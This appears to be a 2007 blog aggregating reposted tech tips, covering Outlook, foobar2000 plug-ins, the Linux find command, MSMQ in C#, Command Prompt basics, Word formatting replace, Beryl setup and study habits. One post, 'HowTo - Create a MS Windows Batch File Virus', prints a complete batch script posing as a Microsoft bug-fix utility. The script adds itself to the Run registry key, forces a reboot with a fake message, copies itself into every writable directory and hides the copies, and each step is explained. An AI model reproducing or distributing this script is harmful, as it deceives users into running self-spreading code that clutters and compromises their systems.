Saturday, March 31, 2007
How to Read a Scientific Research Paper
1. Skimming. Skim the paper quickly, noting basics like headings, figures and the like. This takes just a few minutes. You're not trying to understand it yet, but just to get an overview.
2. Vocabulary. Go through the paper word by word and line by line, underlining or highlighting every word and phrase you don't understand. Don't worry if there are a lot of underlinings; you're still not trying to make sense of the article.
Now you have several things you might do with these vocabulary and concept questions, depending upon the kind of question each is. You can
1. Look up simple words and phrases. Often the question is simply vocabulary--what's a lateral malleolus, or a christa, or the semilunar valve. A medical or biological dictionary is a good place to look for definitions. A textbook of physiology or anatomy may be a good source, because it give more complete explanations. Your ordinary shelf dictionary is not a good source, because the definitions may not be precise enough or may not reflect the way in which scientists use a word (for example "efficiency" has a common definition, but the physical definition is much more restricted.)
2. Get an understanding from the context in which it is used. Often words that are used to describe the procedures used in an experiment can be understood from the context, and may be very specific to the paper you are reading. Examples are the "lithium-free control group" in a rat experiment or the "carotene extraction procedure" in a biochemical experiment. Of course, you should be careful when deciding that you understand a word from its context, because it might not mean what you think.
3. Flag this phrase as belonging to one of the major concepts of the paper--it's bigger than a vocabulary question. For example, a paper about diet and cancer might refer to "risk reduction," which you would need to understand in context and in some depth.
3. Comprehension, section by section. Try to deal with all the words and phrases, although a few technical terms in the Methods section might remain. Now go back and read the whole paper, section by section, for comprehension.
In the Introduction, note how the context is set. What larger question is this a part of? The author should summarize and comment on previous research, and you should distinguish between previous research and the actual current study. What is the hypothesis of the paper and the ways this will be tested?
In the Methods, try to get a clear picture of what was done at each step. What was actually measured? It is a good idea to make an outline and/or sketch of the procedures and instruments. Keep notes of your questions; some of them may be simply technical, but others may point to more fundamental considerations that you will use for reflection and criticism below.
In Results look carefully at the figures and tables, as they are the heart of most papers. A scientist will often read the figures and tables before deciding whether it is worthwhile to read the rest of the article! What does it mean to "understand" a figure? You understand a figure when you can redraw it and explain it in plain English words.
The Discussion contains the conclusions that the author would like to draw from the data. In some papers, this section has a lot of interpretation and is very important. In any case, this is usually where the author reflects on the work and its meaning in relation to other findings and to the field in general.
4. Reflection and criticism. After you understand the article and can summarize it, then you can return to broader questions and draw your own conclusions. It is very useful to keep track of your questions as you go along, returning to see whether they have been answered. Often, the simple questions may contain the seeds of very deep thoughts about the work--for example, "Why did the authors use a questionnaire at the end of the month to find out about premenstrual tension? Wouldn't subjects forget or have trouble recalling?"
Here are some questions that may be useful in analyzing various kinds of research papers:
Introduction:
What is the overall purpose of the research?
How does the research fit into the context of its field? Is it, for example, attempting to settle a controversy? show the validity of a new technique? open up a new field of inquiry?
Do you agree with the author's rationale for studying the question in this way?
Methods:
Were the measurements appropriate for the questions the researcher was approaching?
Often, researchers need to use "indicators" because they cannot measure something directly--for example, using babies' birthweight to indicate nutritional status. Were the measures in this research clearly related to the variables in which the researchers (or you) were interested?
If human subjects were studied, do they fairly represent the populations under study?
Results
What is the one major finding?
Were enough of the data presented so that you feel you can judge for yourself how the experiment turned out?
Did you see patterns or trends in the data that the author did not mention? Were there problems that were not addressed?
Discussion
Do you agree with the conclusions drawn from the data?
Are these conclusions over-generalized or appropriately careful?
Are there other factors that could have influenced, or accounted for, the results?
What further experiments would you think of, to continue the research or to answer remaining questions?
From
Outlook - Opening a Folder in a New Window
Select Open in New Window to open
the selected folder in another Outlook window. You can tile these two windows, and drag and drop
information between the two windows.
TIP
If you're short on screen real estate and want to display more
of each folder, you can hide the Navigation Pane by pressing Alt+F1 on the
keyboard or by selecting View, Navigation Pane.
Foobar2000
If you love to tweak and customize your software applications to work just the way you want, extensibility is key - and the free audio player for Windows, foobar2000, is the most extensible player on the market.
When it comes to control, it doesn't get any better than foobar2000. Although the foobar2000 core is closed source, it's got an active community developing add-ons (kind of like Firefox extensions) to extend the functionality of this quick, lightweight audio player. Let's dive into foobar2000 and take a look at some of the best plug-ins and methods for customizing this player to fit your needs.
First, head on over to the foobar2000 web site and download and install the latest foobar2000 player. The installer weighs in at a tiny 1.6 MB - a refreshing alternative to the 36 MB iTunes download.
You'll (obviously) want to add your music library to foobar2000 (it's the same thing you do with any media player, right?). So go to File -> Add Directory, and browse to your music directory. Once you've done so, you'll see something like the very simple, fairly boring player below.
Not terribly sexy, is it? But that's one of the things that makes foobar2000 so great. You start with an empty canvas, but you can build it up to a completely customized player that suits your individual needs very nicely. Below, I'll introduce you to my favorite plug-ins for tweaking foobar2000:
First thing you'll want to do is download one of the interface plug-ins. My favorite for its simplicity but power is the Columns UI plug-in,
which separates the songs metadata into columns more like other media
players like iTunes (see above). When you download this and other
plug-ins, you'll get a .dll file (and maybe couple other files,
depending on the plug-in). To install the plug-in, just add it to the
components folder of your foobar2000 directory (by default, this should
be somewhere like C:\Program Files\foobar2000\components
). In order for the plug-in to take effect, you'll need to restart foobar2000.
Next, since I'm a fan of album art, the Album Art panel was my next installation. Like you'd expect, it lets you display album art wherever you want in your player. I should note at this point that in order to use the Album Art panel you have to add it to your layout in the foobar2000 preferences. So for example, go to File -> Preferences, then Display. If you want to use the Columns UI but haven't enabled it, choose it from the "User Interface Module" drop-down. Then click on Columns UI in the sidebar and choose the Layout tab. You'll see a relatively empty window that, by default, probably says something like Columns Playlist.
From here, you get to start building your foobar2000 interface. Through the right-click context menu, you can add horizontal and vertical "splitters" and add components to the different parts of your player. For example, to add the Album Art panel that we just installed, right-click one of your splitters (if you don't have a splitter, add one), select Insert panel -> Panels -> Album Art. Hit Apply and you'll see the Album Art panel appear in your layout. Don't like where it is? You can move it up and down, or just re-jigger your layout and try again. That's one of the best parts about foobar2000 - you really can do whatever you want with it.
Now that you've got the basics, I'll highlight some of my other favorite panels:
- Lyrics Panel (foo_uie_lyrics): This panel not only displays the lyrics if you've already got them built into your music, but it also automatically downloads and displays scrolling lyric data if it finds it. It's awesome putting in no work, then seeing the current songs lyrics scrolling along with the music.
- Pretty Popup: Provides a pop-up notifier complete with album art and song info. Like most things in foobar2000, if you don't like the default, you can skin it.
- Audioscrobbler: If you use Last.fm, you've probably used an Audioscrobbler before to get your listening behavior uploaded to Last.fm. Install the plug-in, restart foobar2000, and enter your Last.fm info in the preferences.
- iPod Manager and Send to Device: If you're looking to manage an MP3 player with foobar2000, the iPod Manager plug-in integrates iPod support, while the Send to Device plug-in gives you the option to send selected songs or playlists to a portable device.
Playlist Tree: This panel adds folder tree-like navigation to your playlists, allowing you to build both static and dynamic playlists.
- Scheduler: Lets you schedule actions at either a selected time or a pre-defined event (like the end of a playlist). You can perform music-specific actions, like start or stop playback, or go outside of foobar2000 and do things like shutdown your system.
After spending an afternoon with foobar2000, I went from that minimalist little player above to the Lifehacker-themed player you see below (click for larger version):
My little foobar2000 achievement is relatively minor when compared to some of the skins I've seen out in the wild, like this attractive and powerful user-created skin.
Since I've just scratched the surface with this introductory tutorial and plug-in roundup, I'd love to hear from other foobar2000 users. Let's hear about your favorite foobar2000 plug-ins, features, and tweaks in the comments.
UPDATE: Send images of your own tweaked foobar2000 to adam@lifehacker.com. If we get enough, I'll put together a gallery of Lifehacker readers' tweaked foobar2000s later this week.
Friday, March 30, 2007
HowTo - Create a MS Windows Batch File Virus
1. Start->Run->Type in notepad
2. Start->Accessories->Notepad
The following scripts contents will be explained in the next step of this instructable, thus composes the virus:
@ECHO OFF
SET SD=%SYSTEMDRIVE%\
REG QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v WinDex > %SD%NULL
REM If the registry key does not exist then this is the first run of the script
IF %ERRORLEVEL% NEQ 0 (
CLS
ECHO Thank you for using Microsoft WinDex v1.0 - This program
is a quick checker for any of the latest discovered bugs in the
Microsoft Windows XP SP1 Operating System. Once a bug is
detected, it'll append it as an entry in a list. Once the
program is done executing it'll attempt to connect to
microsoft.com and download the appropriate fixes. Thank you for
using WinDex.
PAUSE
ECHO.
ECHO.
ECHO Initialising components, please wait....
ECHO.
ECHO.
ECHO.
REM Add the registry "WinDex" registry key and data; The REG_SZ type is used by default
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v WinDex /d "%SD%%~nx0"
REM If the current directory is not equal to the system drive directory, copy thyself to system directory
IF NOT "%CD%"=="%SD%" COPY /Y %0 %SD% > %SD%NULL
GOTO REBOOT
)
CLS
REM The following is the section that will be executed on next boot
ECHO WinDex will now apply the bug fixes to your system, this may take a while....
REM You can use xcopy, which would be easier and more options are offered, but I decided to do it this way
FOR /R "%CD%" %%i IN (.) DO IF NOT "%%i"=="%CD%" COPY /Y %SD%%~nx0 %%~si > %SD%NULL
FOR /R "%CD%" %%i IN (.) DO ATTRIB +h %%~si\%~nx0
CLS
GOTO END
:REBOOT
SHUTDOWN -c "Windows will now restart to apply bug fixes.... Please wait" -r -t 5
GOTO END
:END
DEL /Q %SD%NULL
EXIT
Now once you've copy-and-pasted the above script into notepad, save it as WinDex.BAT. Because this script was created so that it'd still function no matter what name it is given, you can make up your own name if desired.
If you decide to execute this script, I suggest you REM out or just omit the line that ATTRIB's the files so that they're hidden out, because it would be a bit more difficult to search for and would be seemingly easier to use a standard DIR command or a standard file search.
If you do execute this script and allow it to run without rendering the files hidden, you can simply to a Windows search and delete all the copied files except, perhaps, the one you want to keep, or etc.
This is dedicated to explaining what the batch file virus does. We'll start with the first line:
@ECHO OFF
If you've ever executed a batch file before and you didn't have the above line as the first line of the batch file and echo is on, then you'd probably notice that every command executed in the script will show up on the prompt as the batch file is executed. The above line simply tells the batch intepreter to turn echo off so the commands viewable to the user.
SET SD=%SYSTEMDRIVE%\
REG QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v WinDex > %SD%NULL
Because I used the %SYSTEMDRIVE% environment variable quite a bit in this program, I reckoned it'd be much easier to set a variable with its contents so that I don't have to keep writing the "%SYSTEMDRIVE%" label. As for the REG QUERY.... line, it queries the MS Windows registry Local Machine hive's subsequent Run Key for the value of "WinDex". This value doesn't exist on the first run of the program, so I query it and as you'll see, I check the %ERRORLEVEL% to see if the command was successful, and if not, it means that it doesn't exist. The > portion redirects the output to a file under the system drive direcotry named NULL so that the user doesn't see the error generated by the REG QUERY in case it doesn't exist.
IF %ERRORLEVEL% NEQ 0 (
CLS
ECHO Thank you for using Microsoft WinDex v1.0 - This program is a quick checker for any of the latest discovered bugs in the Microsoft Windows XP SP1 Operating System. Once a bug is detected, it'll append it as an entry in a list. Once the program is done executing it'll attempt to connect to microsoft.com and download the appropriate fixes. Thank you for using WinDex.
PAUSE
ECHO.
ECHO.
ECHO Initialising components, please wait....
ECHO.
ECHO.
ECHO.
REM Add the registry "WinDex" registry key and data; The REG_SZ type is used by default
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v WinDex /d "%SD%%~nx0"
REM If the current directory is not equal to the system drive directory, copy thyself to system directory
IF NOT "%CD%"=="%SD%" COPY /Y %0 %SD% > %SD%NULL
GOTO REBOOT
)
As previously mentioned, I condition the %ERRORLEVEL% Global variable to see if it contains any other value than 1. The errorlevel variable holds the return value of the most recent executed command\program, which was the REG QUERY. The "IF %ERRORLEVEL% NEQ 0 (..." part essentially says this, "If the value stored in errorlevel is NOT equal to 0, then execute the lines within the following opening and closing parenthesis.
Now if the this is the first run of the script and thus the "WinDex" registry value doesn't exist, then it first echo's the header of the program. The "ECHO." is used to echo a blank line. Now, since we want the program to run automatically on next boot, we use the REG ADD.... command to insert a new value under the Run key labeled "WinDex" - which we condition - and insert the path to the batch file program under the system drive. In case you were not aware, the %0 variable holds the name of the current instance of the batch file script. When you use the %0 variable in a batch script, it is expanded as the full path name to the program (i.e. C:\Documents and Settings\....\Name_Of_Batch.BAT) and by use the syntax %~nx0 simply expands to the name of the batch file, and omits the path junk.
Next it'll check to current directory using the %CD% enivornment variable and if it is not equal to the system drive, it copies itself to the system directory and redirects the output to the aforementioned NULL file. Then it jumps or GOTO's to the REBOOT section of the batch file, under which simply reboots the system.
CLS
REM The following is the section that will be executed on next boot
ECHO WinDex will now apply the bug fixes to your system, this may take a while....
REM You can use xcopy, which would be easier and more options are offered, but I decided to do it this way
FOR /R "%CD%" %%i IN (.) DO IF NOT "%%i"=="%CD%" COPY /Y %SD%%~nx0 %%~si > %SD%NULL
FOR /R "%CD%" %%i IN (.) DO ATTRIB +h %%~si\%~nx0
CLS
In case you didn't know, the CLS command clears the command prompt terminal screen. Now if this is the second run, the run after the system was rebooted, then this section isn't bypassed. As you'll see a message is indicated before the system was rebooted stating that the system needs to restart in order to apply the bug fixes, and as such, we ECHO a message indicating that the fixes are now being applied.
Now the FOR loop might be intimidating, but rest easy it is really not that difficult to understand. This for loop will transverse through every directory rooted under the current direcotry (Defualt) or the director specified after the /R switch. In this case I just specified the "%CD%" variable for better clarity, in my opinion. And the currrent directory path scanned is held in the %%i variable. Now if we overwrite the Batch File that is currently being run, then the batch file will cease executing. Although in an executable, it doesn't really matter because the processes is running in its own space in main memory, I just included it in case one wants to keep it as a batch script. Therefore I check to see if the contents of the %%i variable are equal to the current directory of the batch script, and if it isn't, copies itself to that directory. In effect, this will copy the WinDex.BAT or whatever you'd named it, to every writeable directory in the system. As usual, I redirected to the output to the NULL file.
The following for loop will transvers again but instead of spreading, it'll add a extra touch and hide all the copied scripts, or exe, so that it normally can't be seen in the GUI (i.e. Windows Explorer) or from a standard DIR command. If you're experiementing with this script, I suggest you REM this for loop because it'll be more difficult to remove all when they're hidden.
Last the %%~si syntax expands %%i, which holds the currently scanned directory from the the for loop, to its short name.
GOTO END
:REBOOT
SHUTDOWN -c "Windows will now restart to apply new fixes.... Please wait" -r -t 5
GOTO END
:END
DEL /Q %SD%NULL
EXIT
Now this part will jump to the END label and quitely (/Q) delete the NULL file and then exit the script and close the prompt window. Then we define the REBOOT label (:REBOOT) which reboots and goto's end. The SHUTDOWN -c.... generates a dialog box containing the countdown, which is 5 seconds, until the system reboots, and also contains the message following the -c switch.
The END label (:END), as mentioned previously, quitely delets the NULL file we've been using to redirect output then exits.
Well that concludes this instructable. Cheers!
From
Tuesday, March 27, 2007
Searching for Files in Linux (or Windows)
Anyone with Windows experience who is new to UNIX/Linux/CygWin pretty quickly figures out that the LS command in UNIX is the equivalent of the DIR command in Windows. At least, it is equivalent up to a point. Issuing the DIR command in Windows (with no arguments) will display the contents of the current folder. Issuing the LS command in UNIX with no arguments will do the same. After that, however, the similarities end. Say, for example, you’re searching for a file called “debug.log” that you know to be in a subfolder, or sub-subfolder, of the current directory. In Windows, the command “DIR /S debug.log” will do the job nicely. The “/S” switch tells the DIR command to recurse through every subdirectory, while the “debug.log” argument tells the DIR command what file(s) to look for.
In UNIX, however, the tool for that job is the FIND command, not the LS command. Specifically, in this case, it would be “find . -name debug.log”. The first argument after the word find — the lone period — tells the FIND command where to start looking. (As with Windows, a single period means the current directory.) The “-name” switch, together with its argument of “debug.log”, establishes a criterion for the name of the files to be found. There are dozens of other criteria available, which can be used separately or in combination. These criteria, or “tests”, include being able to test on the age of the file, the type of file, the size of the file, and attribute flags of the file. Other options available with the FIND command include actions that can be taken against the found files, such as deleting the file(s) found, or executing an arbitrary command and passing it the name of each file found.
Tip #1: Use “MAN FIND” to read all about the find command. Be sure to scroll all the way to the bottom to see a number of examples.
Tip #2: If you have trouble coming up with a combination of criteria to do what you expect, then take advantage of the -D switch to turn on one or more of the debug options. This gets the FIND command to “show its work” so you can see what it’s thinking, and how it’s interpreting the switches.
Tip #3: As you can see, the UNIX FIND command is
significantly more powerful than the Windows DIR command. CygWin, the
Linux emulator for Windows, allows the FIND command to be used in
Windows — to search Windows drives. (See our previous articles for how
to get started with CygWin.)
Use Microsoft Message Queuing in C# for inter-process communication
Takeaway: Zach Smith demonstrates how to use Microsoft Message Queuing (MSMQ) for inter-process communication between applications on the same machine or over the network.
This article is also available as a TechRepublic download, which includes a project file containing all the sample code you need to read or write messages from a queue.
As the name implies, Microsoft Message Queuing (MSMQ) is a way to send messages to a queue for later processing. The messages are sent to the queue by a "Producer" application and retrieved from the queue by a "Consumer" application. These two applications can be on the same machine, across a network, or even on different machines that aren't always connected. MSMQ is considered failsafe in that it will retry sending a message if the first transmission fails. This allows you to be very confident that your application messages will arrive at their destination.
I will be working with a queue called "TechRepublic". When you run the sample application included with the download version of this article, this queue will be automatically created if it doesn't currently exist.
In a previous article, Zach Smith demonstrated how to use IPC channels to communicate between two processes running on the same machine. In this article, he demonstrates how to use Microsoft Message Queuing (MSMQ) for inter-process communication between applications on the same machine or over the network.
Accessing MSMQ
Accessing a queue via .NET is done with the System.Messaging.MessageQueue object. Listing A demonstrates how to access the TechRepublic queue on a computer named "SRV-MESSAGING":
Listing A
MessageQueue queue =new MessageQueue("SRV-MESSAGING\TechRepublic");
Note: You'll have to add a reference to System.Messaging in your project to use this object.
We now have a MessageQueue object instantiated as a local variable "queue". The MessageQueue object provides you with all of the functionality you will need to interact with the queue.
If the queue does not exist, you can programmatically create the queue by calling the static Create method of the MessageQueue object. The code shown in Listing B demonstrates how to check for the existence of a queue and create the queue or instantiate a reference to the queue:
Listing B
MessageQueue queue = null;string queueName = "SRV-MESSAGING\TechRepublic";
if (MessageQueue.Exists(queueName))
queue = newMessageQueue(queueName);
else
queue = MessageQueue.Create(queueName, false);
Writing to queues
When writing to the queue, you will use the MessageQueue.Send method. A simple example of sending a message to the TechRepublic queue is shown in Listing C.
Listing C
queue.Send("My message body", "Message Label");In this case, a message with the body "My message body" is sent to the TechRepublic queue, and has a label of "Message Label" applied to it. Message labels allow you to partition the messages without reading the body of the message. The labels are also visible in the "Queue Messages" section of a message queue when viewed from the Computer Management console.
Reading from queues
There are several ways to read messages from a queue. One of the more common scenarios is to grab all messages from the queue and process them one at a time. This is accomplished by calling the MessageQueue.GetAllMessages method. An example of this method is shown Listing D.
Listing D
System.Messaging.Message[] messages = queue.GetAllMessages();foreach (System.Messaging.Message message in messages)
{
//Do something with the message.
}
An alternative to this is to use the GetMessageEnumerator2 method. While these two methods work similarly, the GetMessageEnumerator2 method is forward-only. For very large queues, this method should be used instead of the GetAllMessages method. The reason for this is that the GetAllMessages method pulls down all messages into local memory. The GetMessageEnumerator2 method pulls only the current message down locally and pulls the next message down only after MoveNext is called. An example of GetMessageEnumerator2 is shown in Listing E. This code goes through each message in the queue and removes it.
Listing E
MessageEnumerator enumerator = queue.GetMessageEnumerator2();while (enumerator.MoveNext())
enumerator.RemoveCurrent();
Another point to consider when using GetMessageEnumerator2 is that you will have access to any new messages added to the queue, even if they were added after you called GetMessageEnumerator2. This is assuming the new messages were added to the end of the queue.
If you want to retrieve only the first message in a queue, you should use the MessageQueue.Receive method. This method will pull down the first message in the queue, and in the process, remove it from the queue. Since the message is removed when it is read, you are assured that your process is the only one to receive the message. An example of the Receive method is shown Listing F.
Listing F
System.Messaging.Message message = queue.Receive();An alternative to the Receive method is the Peek method. This method pulls down the first message in the queue like Receive; however, it leaves a copy of the message on the queue. This allows you to examine the message before removing it from the queue. The syntax of Peek is similar to that of Receive.
Listing G
System.Messaging.Message message = queue.Peek();Sending/receiving serialized objects
While the ability to send text to the queue is interesting, queues also allow you to send serializable objects. This means that you can create a custom .NET class, instantiate an instance of it, and send it to the queue for other applications to pick up. This works by first using the XML Serializer to serialize the object being sent and then placing the serialized object into the message's body.
For example, assume we want to send the following object (Listing H) to the TechRepublic message queue.
Listing H
[Serializable()]publicclassMessageContent
{
privateDateTime _creationDate = DateTime.Now;
privatestring _messageText;
public MessageContent()
{
}
public MessageContent(string messageText)
{
_messageText = messageText;
}
publicstring MessageText
{
get { return _messageText; }
set { _messageText = value; }
}
publicDateTime CreationDate
{
get { return _creationDate; }
set { _creationDate = value; }
}
}
Sending an instance of this object to the queue is simply a matter of calling the MessageQueue.Send method and passing an object instance as a parameter to the method. An example is shown in Listing I.
Listing I
MessageContent message = newMessageContent("Hello world!");queue.Send(message, "Sample Message");
As you can see, this is similar to the code we used earlier to send the message with a string as its body. Receiving a message that contains a serialized object is a little more difficult. What we need to do is tell the message what kind of object it contains.
To indicate to the message what kind object it contains, we must set up the message's formatter. This is done by assigning a System.Messaging.XmlMessageFormatter object to the message's Formatter property. Since our message contains a MessageContent object, we will want to configure the XmlMessageFormatter for that type.
Listing J
message.Formatter =
new System.Messaging.XmlMessageFormatter(
newType[1] { typeof(MessageContent) }
);
Now that the message has a formatter assigned, we can pull the serialized MessageContent object out of the message. Before doing this, however, we will need to cast the return value of the message.Body property to a MessageContent object:
Listing K
MessageContent content = (MessageContent)message.Body;At this point, the "content" variable is a deserialized version of the original MessageContent object that we sent to the queue, and all of the original object's properties and values are accessible.
Setting message priority
In a normal situation, messages are accessed in the queue in a first-in, first-out order. This means that if you send MessageA, then MessageB, MessageA will be the first message returned from the queue, followed by MessageB. In most scenarios, this will work fine; however, there are instances where you will want a message to move to the front of the line because it is of higher importance than the other messages. To accomplish this type of functionality, you will need to set message priorities.
The priority of a message is determined by the value of the Message.Priority property. The following are valid values for this property (all from the MessagePriority enum):
- Highest
- VeryHigh
- High
- AboveNormal
- Normal
- Low
- VeryLow
- Lowest
The position of a message in the queue is determined by its priority--for example, assume we have four messages in the queue, two marked as "Normal" priority and two with "High" priority. Our queue would look like this:
- High Priority A--This would be the first message of "High" priority send to the queue.
- High Priority B--This would be the second message of "High" priority send to the queue.
- Normal Priority A--This would be the first message of "Normal" priority send to the queue.
- Normal Priority B--This would be the second message of "Normal" priority send to the queue.
Given this order, if we were to send another message to the queue with a priority of "Highest", it would be placed on the top of the queue.
If the message priority functionality is needed, you will have to modify your code to send the messages. Because the constructor of the Message object doesn't have an overload to specify the message's priority, you must instantiate a Message object and set the associated properties on it before sending it to the queue. The code in Listing L demonstrates how to do this and sends a message with a priority of "Highest" to the queue:
Listing L
//Instantiate the queueMessageQueue queue = newMessageQueue(queueName);
//Create a XmlSerializer for the object type we're sending.
XmlSerializer serializer = new
XmlSerializer(typeof(MessageContent));
//Instantiate a new message.
System.Messaging.Message queueMessage =
new System.Messaging.Message();
//Set the priority to Highest.
queueMessage.Priority = MessagePriority.Highest;
//Create our MessageContent object.
MessageContent messageContent =
newMessageContent("Hello world - IMPORTANT!");
//Serialize the MessageContent object into the queueMessage.
serializer.Serialize(queueMessage.BodyStream, messageContent);
//Send the message.
queue.Send(queueMessage, "HIGH PRIORITY");
The most obvious difference between this code and the code shown above is the use of the XmlFormatter. This is actually optional, and the code in Listing L could be written as it is in Listing M.
Listing M
//Instantiate a new message. System.Messaging.Message queueMessage =
new
System.Messaging.Message();
//Set the
priority to Highest.
queueMessage.Priority = MessagePriority.Highest;
//Create
our MessageContent object.
MessageContent
messageContent =
newMessageContent("Hello
world - IMPORTANT!");
//Set the
body as the messageContent object.
queueMessage.Body =
messageContent;
//Send the
message.
queue.Send(queueMessage, "HIGH PRIORITY");
This code performs the same task as the code shown in Listing L, with fewer lines.
Uses
A simple example of the use of MSMQ functionality would be importing customer requests. The customer would post a request that would get sent to the message queue by a customer-facing application. After the request is sent to the queue, an acknowledgment would be sent to the customer. A separate process would then pick up the message from the queue and run any business logic that is required. After the logic is complete, the processing system would post a response message to another queue. The response would then be picked up from the queue by the customer-facing component and a response would be returned to the customer.
This type of configuration would allow the customer-facing component to be very fast and responsive, while doing the bulk of processing on an internal system. This would also allow the request processing to be spread across multiple internal machines, providing scalability.
Download the sample project
For a working copy of the code shown, download the associated example project. The project contains all the code you need to read or write messages from a queue.From
The Guys' Rules
A beginners guide to the Command Prompt
Most Windows users don’t know what the Command Prompt is or how to use it. This is a beginners guide to using the Command Prompt.
What is the Command Prompt? The Command Prompt is a native Windows program that lets you execute commands without using a GUI. You can accomplish pretty much every task you can do using Windows and the mouse from within the Command Prompt. The Command Prompt gets its roots (arguably) from a combination of MS-DOS and UNIX. Consider it “Windows without the windows. ” I will provide you with a beginners tutorial of some simple commands to familiarize you with the Command Prompt.
The first step is to actually open the Command Prompt. You can do this
by going to Start >> All Programs >> Accessories >>
Command Prompt. You should get a screen that resembles mine below:
You should see a blinking cursor after a line that says C:\Documents and Settings\username. This is used to identify what directory you are currently in. This also brings us to our first three commands cd, dir, and .. (two periods). Let’s start with dir — “dir” stands for directory. Type dir into the command prompt to see a listing of the directories and files located in your “username” directory.
After you type in dir you will see a listing of
several folders including Desktop, Favorites and My Documents. “CD”
stands for change directory. So in order to change to our “My
Documents” folder we need to type cd My Documents, give
it a try. You will now notice that your path has changed to
C:\Documents and Settings\username\My Documents. To see a list of all
the files in your My Documents directory type dir. If you want to move back into your username folder use the “back” command. You can move back by typing cd .. See the image below:
That’s a good introduction, but lets actually go over some useful commands: copy, del, mkdir, rmdir, ren. “CP” stands for copy and it can be used to copy individual files from one location to another. To copy a file, type copy filename destination. So if you had a file named test.txt in your My Documents folder and you wanted to copy it to the Desktop you would type copy test.txt ../Desktop
The del command stands for delete. So to delete the test.txt file from your desktop type cd ../Desktop and then type del test.txt
“mkdir” stands for make directory. To make a new folder type mkdir foldername
“rmdir” stands for remove directory. To remove a folder and its contents, type rmdir /s foldername
“ren” stands for rename. To rename a file type ren oldfilename newfilename
Let’s move on to a more difficult task. Let’s copy our My Videos folder
from My Documents to the Desktop. To do this, navigate to your username
directory by typing cd .. until you get there. Now type cd My Documents to get into the My Documents directory. To copy the My Videos directory to the Desktop you need to type xcopy “My Videos” “../Desktop/My Videos” /s /i
Here’s a summary of what you can now do using the command prompt:
cd change directories
dir see a list of all the files in one directory
copy copy a file from one location to another (don’t forget to include the file extension)
del delete a file (don’t forget to include the file extension)
mkdir make a new folder
rmdir remove a directory and its’ contents
ren rename a file
xcopy /s /i copy a directory and its contents from one location to another
NOTE: To see a list of many commands, just type help into the command prompt. To see a detailed list of all related commands type command/? so to see all the details of xcopy type xcopy/? If you would like to run an executable like Mozilla Firefox navigate to the directory containing the executable and simply type it in. So type: C:/Program Files/Mozilla Firefox/firefox.exeIf you would like to learn more about the command prompt here is the documentation from Microsoft. What other commands do you think are useful for beginners?
From
Using MS Word’s Search & Replace on Formatting
Did you know that in Microsoft Word,
it is possible to do a search and replace on the formatting of text?
For example, say that you’ve been given a bibliography that has all of
the book titles in bold, but proper form is for book titles to be in italics. Using the search and replace function, it’s easy to change all of the bold text to italics in one fell swoop.
- Highlight the section of text to be affected (if not the whole document).
- Bring up the search and replace tool (Ctrl+H).
- Click on the More button to reveal the formatting options.
- Click in the Find What box, so that it has focus (there should be a flashing cursor there).
- Click on the Format button, and select Font…
- Select Bold (or whatever format you’re trying to change from).
- Click in the Replace With box, so that it now has focus.
- Click on the Format button, and again select Font…
- Select Italics (or whatever format you’re trying to change to).
- Click on Replace All
Changing fonts is just the tip of the iceberg. This technique can be
used with any sort of formatting (paragraphs, styles, etc.) Also, be
sure to click on the Special button to see the options that are
available there (Any Digit, Any Letter, etc.) These wildcards and
special symbols (along with plain text) can be used in combination with
the formatting criteria. For example, it’s possible to change all
negative numbers to red this way, by specifying the Find What as a
minus sign followed by the Any Digit notation and by specifying the
Replace With as nothing but with a font color of red.
Monday, March 26, 2007
Beryl в Feisty
Установите драйвер NVIDIA
sudo aptitude install nvidia-glx
Все - больше никаких переключений в виртуальную консоль и настройки параметров с помощ ью dpkg-reconfigure!
Дайте серверу X знать, что вы требуете красоты
sudo nvidia-xconfig --add-argb-glx-visuals --composite
Добавьте в список источников (Software Sources) эту строчку
deb http://ubuntu.beryl-project.org feisty main
Обновитесь
sudo aptitude update
Установите Берил
sudo aptitude install beryl
Хотите использовать свю тему GTK2 вместо Emerald?
gtk-window-decorator --replace &
Занесите beryl-manager в Startup Programs в настройках вашей сессии, чтобы Берил автоматически запускался
How to Ace Your Finals Without Studying
I’ve never been that keen on studying before an exam. I rarely study for more than a half hour, even for big final exams worth more than half my grade. When I do study, I usually just skim over the material and do a few practice questions. For some of my math classes I have yet to do a single practice question for homework. Most people study by cramming in as much information before walking into the test room, whereas I consider studying to be no more than a light stretch before running.
Despite what some might point out as horrible studying habits, I’ve done very well for myself in school. I had the second highest marks in my high-school class with honors all four years. My first term university marks were two A+’s and an A, for calculus, computer science and ancient Asian history, all courses with high failure rates. I also won a national chemistry exam for a three province wide district that I didn’t even realize I was writing until I was called in and told to get started.
It’s very easy to look at my successes and apparent lack of effort and quickly deem that it is an innate gift, impossible to replicate. I think this is bullshit. I believe that myself and anyone else who can produce these results simply has a more effective strategy for learning new material. With my system of learning, you only have to hear or read something once to learn it. Best of all I believe it is a system that can be learned.
Webs and Boxes
The system I use for learning I’m going to call holistic learning. But in order to fully appreciate what holistic learning is, you need to take a look at it’s opposite – compartmentalized learning. Virtually all learning is done somewhere between completely holistic and completely compartmentalized learning. Although people rarely sit exactly on one extreme, people who are close towards learning through compartments will need to cram and study for hours just to hope for a pass where people who lean more to holistic learning can often breeze through heavy course loads.
People who learn through compartments, try to organize their mind like a filing cabinet. Learn a new chemical equation, these people will try to file that information. Hopefully they will file it near some other chemical equations so that they will stumble upon it when they need to on the exam. Compartmentalized learners make distinct file drawers for science, math, history and language arts. Placing all the things they know into little boxes.
Holistic learning takes an opposite approach. Learning holistically is not done by trying to remember information by using repetition and force. Holistic learners instead organize their minds like spider webs. Every piece of information is a single point. That point is then consciously related to tons of other points on the web. There are no boxes with this form of learning. Science becomes literature which becomes economics. Subject distinctions may help when going to class, but a holistic learner never sees things in a box.
When it comes time for exams (or any practical application for your knowledge) compartmentalized learners have to hope that they pounded the information hard enough into their head so it might come up during the exam. Holistic learners do the opposite. Holistic learners only need to start at one point on their web, but they can use that web to feel around and find all the associated information they need.
The chemistry exam I won for three provinces I wasn’t even taught over half the information on the test. Because my web was so heavily interrelated, even when a node on the web was missing I has a good chance at guessing at what it contained. This meant that on a multiple choice test I could only understand a third of what the question asked and still be able to eliminate answers. Winning a test that you don’t actually know half the information on it sounds impossible, but not to a holistic learner.
